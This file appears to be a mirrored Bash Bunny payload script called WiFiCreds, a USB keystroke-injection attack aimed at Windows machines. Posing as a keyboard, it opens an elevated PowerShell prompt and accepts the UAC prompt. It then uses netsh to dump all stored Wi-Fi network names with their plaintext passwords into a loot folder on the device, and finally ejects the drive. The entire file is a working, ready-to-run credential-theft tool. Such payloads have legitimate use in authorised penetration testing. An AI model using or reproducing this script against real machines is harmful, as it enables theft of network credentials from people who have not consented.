mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
63 lines
1.8 KiB
Bash
63 lines
1.8 KiB
Bash
#!/bin/bash
|
|
#
|
|
# Title: WiFiCreds
|
|
# Author: illwill
|
|
# Version: 0.3
|
|
#
|
|
# Dumps the stored plaintext Wifi SSID & passwords from Windows boxes using Powershell
|
|
# then stashes them in /root/udisk/loot/WiFiCreds
|
|
#
|
|
# Blue...............Running Powershell HID Script
|
|
# Purple.............Getting WiFi Creds
|
|
# Green..............Got WiFi Creds
|
|
# Red................Didn't Get WiFi Creds
|
|
|
|
LED R 200
|
|
mkdir -p /root/udisk/loot/WiFiCreds
|
|
rm -f /root/udisk/loot/WiFiCreds/DONE
|
|
|
|
ATTACKMODE HID STORAGE
|
|
LED B 200
|
|
Q GUI
|
|
Q DELAY 500
|
|
Q STRING POWERSHELL
|
|
Q DELAY 1000
|
|
Q CTRL-SHIFT ENTER
|
|
Q DELAY 2000
|
|
Q LEFTARROW
|
|
Q DELAY 100
|
|
Q ENTER
|
|
Q DELAY 1200
|
|
Q STRING \$Bunny \= \(gwmi win32_volume -f \'label\=\'\'BashBunny\'\'\' \| Select-Object -ExpandProperty DriveLetter\)
|
|
Q ENTER
|
|
Q DELAY 100
|
|
LED R B 200
|
|
Q STRING \(netsh wlan show profiles\) \| Select-String \"\\:\(.+\)\$\" \| \%\{\$name\=\$_.Matches \| \% \{\$_.Groups\[1\].Value.Trim\(\)\}\; \$_\} \|
|
|
Q STRING \%\{\(netsh wlan show profile name\=\""\$name\"" key\=clear\)\} \| Select-String \""Key Content\\W+\\:(.+)\$\"" \|
|
|
Q STRING \%\{\$pass\=\$_.Matches \| \% \{\$_.Groups\[1\].Value.Trim\(\)\}\; \$_\} \| \%\{\[PSCustomObject\]@\{ "PROFILE_NAME"\=\$name\;PASSWORD\=\$pass \}\} \|
|
|
Q STRING Format-Table -AutoSize \| Out-File \$Bunny\\loot\\WiFiCreds\\\$env:computername.txt
|
|
Q ENTER
|
|
Q DELAY 100
|
|
Q STRING Out-File -FilePath \$BUNNY\\loot\\WifiCreds\\DONE
|
|
Q ENTER
|
|
Q DELAY 100
|
|
|
|
# Eject the USB Safely
|
|
Q STRING \$Eject \= New-Object -comObject Shell.Application
|
|
Q ENTER
|
|
Q DELAY 100
|
|
Q STRING \$Eject.NameSpace\(17\).ParseName\(\$Bunny\).InvokeVerb\(\"Eject\"\)
|
|
Q ENTER
|
|
Q DELAY 100
|
|
|
|
# GTFO
|
|
Q STRING EXIT
|
|
Q ENTER
|
|
#Sync Drive
|
|
sync
|
|
|
|
FILE="/root/udisk/loot/WiFiCreds/DONE"
|
|
while [ ! -e $FILE ]; do sleep 1; done;
|
|
sleep 1;
|
|
if [ -e $FILE ]; then rm -f $FILE; LED G 200; else LED R; fi
|